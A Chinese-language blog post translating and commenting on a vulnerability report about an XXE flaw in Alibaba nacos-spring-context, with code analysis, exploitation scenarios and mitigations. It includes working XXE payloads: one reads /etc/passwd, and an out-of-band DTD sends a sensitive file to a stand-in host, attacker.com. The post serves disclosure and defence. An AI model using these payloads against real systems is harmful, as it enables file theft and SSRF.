Alibaba Nacos-spring-context XXE漏洞分析与利用场景
Nacos-spring-context 2.1.1及之前版本存在XXE漏洞,因DocumentBuilderFactory未禁用外部实体导致远程文件读取与SSRF。
事件起因
我在github上闲逛时了这样一个仓库:https://github.com/zast-ai/vulnerability-reports
这个仓库主要记录作者在安全研究过程中提交的漏洞报告,其中有一栏内容引起了我的兴趣。这一栏展示了作者成功提交漏洞并获得赏金的记录,这说明这些漏洞不仅是理论层面的分析,而是被厂商认可并实际修复的问题。
他发现了一个 Nacos 组件中的安全漏洞,并因此获得了赏金。出于对该漏洞本身以及其发掘过程的兴趣,我进一步阅读了作者提交的原始漏洞报告,并对报告内容进行了完整梳理和理解。
报告翻译
Alibaba Nacos XXE 漏洞分析
漏洞概述
漏洞类型:XML 外部实体注入
受影响组件:com.alibaba.nacos:nacos-spring-context
受影响版本:2.1.1 及之前版本
漏洞等级:高
CVE 编号:待分配
漏洞详情
在 Alibaba Nacos 的 nacos-spring-context 组件中存在一个 XML 外部实体注入漏洞。该漏洞位于 com.alibaba.nacos.spring.util.parse.DefaultXmlConfigParse 类中,该类负责解析 XML 格式的配置文件。由于在实例化 DocumentBuilderFactory 之后未进行任何安全相关的配置,外部实体处理功能未被禁用,攻击者可以通过构造恶意的 XML 内容来触发 XXE 攻击。
漏洞代码分析
漏洞代码位于 DefaultXmlConfigParse 类的 parse 方法中:
private DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
@Override
public Map<String, Object> parse(String configText) {
Map<String, Object> properties = new LinkedHashMap<String, Object>(8);
try {
Document document = factory.newDocumentBuilder()
.parse(new ByteArrayInputStream(configText.getBytes("UTF-8")));
Element root = document.getDocumentElement();
Map<String, Object> map = new LinkedHashMap<String, Object>(8);
recursionXmlToMap(map, root);
mapToProperties("", properties, map);
}
catch (Exception e) {
throw new ConfigParseException(e);
}
return properties;
}问题在于 DocumentBuilderFactory 的实例化过程中未进行任何安全配置,尤其是没有禁用外部实体解析功能。
真实世界中的利用场景
一、Nacos 配置中心场景
Nacos 作为配置中心,允许用户存储和管理 XML 格式的配置。在实际使用中,当开发人员或运维人员通过 Nacos 控制台或 API 上传 XML 配置时,如果未对 XML 内容进行严格的校验,攻击者就可能上传包含恶意 DTD 的 XML 配置。
当应用从 Nacos 中拉取这些配置,并通过 ConfigParseUtils.toProperties 方法进行解析时,就会触发 XXE 漏洞。
具体场景如下:
攻击者获取了 Nacos 控制台的访问权限,这可能是由于弱口令或其他漏洞导致
攻击者上传包含 XXE 载荷的 XML 配置
使用 Nacos 的应用拉取并解析该配置
XXE 漏洞被触发,可能导致服务器文件读取或 SSRF 攻击
二、Spring Cloud 配置集成场景
许多企业将 Nacos 与 Spring Cloud 集成,作为分布式系统中的配置中心。在该场景下:
微服务在启动时会从 Nacos 拉取 XML 格式的配置
如果这些配置中包含恶意的 XXE 载荷
当 Spring 应用使用 nacos-spring-context 解析这些配置时
漏洞会在所有连接到 Nacos 的微服务中被触发
这可能导致大规模的安全事件,因为单个恶意配置就可能影响整个微服务集群。
三、API 接口 XML 处理场景
许多应用提供接收 XML 格式数据的 API 接口,并使用 Nacos 组件来处理这些数据:
攻击者向应用的 API 发送包含 XXE 载荷的 XML 数据
应用使用 nacos-spring-context 中的解析工具来处理该 XML 数据
XXE 漏洞被触发,可能导致服务器敏感信息泄露
四、配置导入功能场景
一些使用 Nacos 的应用提供了配置导入功能,允许用户上传 XML 格式的配置文件:
攻击者构造一个恶意的 XML 配置文件
该文件通过配置导入功能被上传
应用使用 DefaultXmlConfigParse 来解析该配置
XXE 漏洞被触发
真实攻击示例
在 Nacos 配置中心场景中,攻击者可能上传如下配置:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xmlSign>
<Students>
<Student>
<Name>&xxe;</Name>
<Num>1006010022</Num>
<Classes>major-1</Classes>
</Student>
</Students>
</xmlSign>当应用从 Nacos 中拉取并解析该配置时,服务器上的 /etc/passwd 文件内容会被读取,并包含在解析结果中。攻击者可能通过日志、错误信息或正常的应用输出获取这些内容。
在更复杂的攻击场景中,攻击者可以使用带外通道技术将数据泄露到外部服务器:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<xmlSign>
<Students>
<Student>
<Name>test</Name>
</Student>
</Students>
</xmlSign>其中 evil.dtd 的内容如下:
<!ENTITY % file SYSTEM "file:///path/to/sensitive/config">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;这种攻击方式可以绕过部分防御措施,因为敏感数据会通过 HTTP 请求发送到攻击者控制的服务器。
防护建议
针对 Nacos 管理员:
升级到官方发布的修复版本
限制 Nacos 控制台的访问权限
对上传的 XML 配置内容进行校验,过滤 DOCTYPE 声明
针对开发人员:
在使用 nacos-spring-context 时添加如下 JVM 参数:
-DentityExpansionLimit=0
-Djdk.xml.entityExpansionLimit=0同时可以在应用层实现安全的 XML 解析封装,例如:
public static Document parseXmlSafely(String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
return dbf.newDocumentBuilder().parse(new ByteArrayInputStream(xml.getBytes()));
}影响范围
在以下场景中使用 com.alibaba.nacos:nacos-spring-context 的应用可能受到影响:
使用 Nacos 作为配置中心并处理 XML 格式配置的应用
与 Spring Cloud 集成并从 Nacos 拉取配置的微服务
提供 XML 数据处理 API 并使用 Nacos 组件的 Web 应用
允许用户上传或导入 XML 配置的系统
漏洞评价
最后是我对这个漏洞的评价:
感觉这个漏洞属于那种研究价值大于实际价值的,首先他要配置XML就要先拿到nacos的后台,其次这个组件也只有nacos使用。感觉能拿到nacos的后台权限的话,随便泄漏点数据都比这个XXE致命了。值得一提的是,2025年底的那个 Struts2 的XXE似乎也是他发现的。
参考链接:https://github.com/zast-ai/vulnerability-reports/blob/main/Alibaba/nacos-spring-context/XXE.md
Nacos-spring-context 2.1.1及之前版本存在XXE漏洞,因DocumentBuilderFactory未禁用外部实体导致远程文件读取与SSRF。
由 AI 根据全文自动生成,仅供参考,以原文为准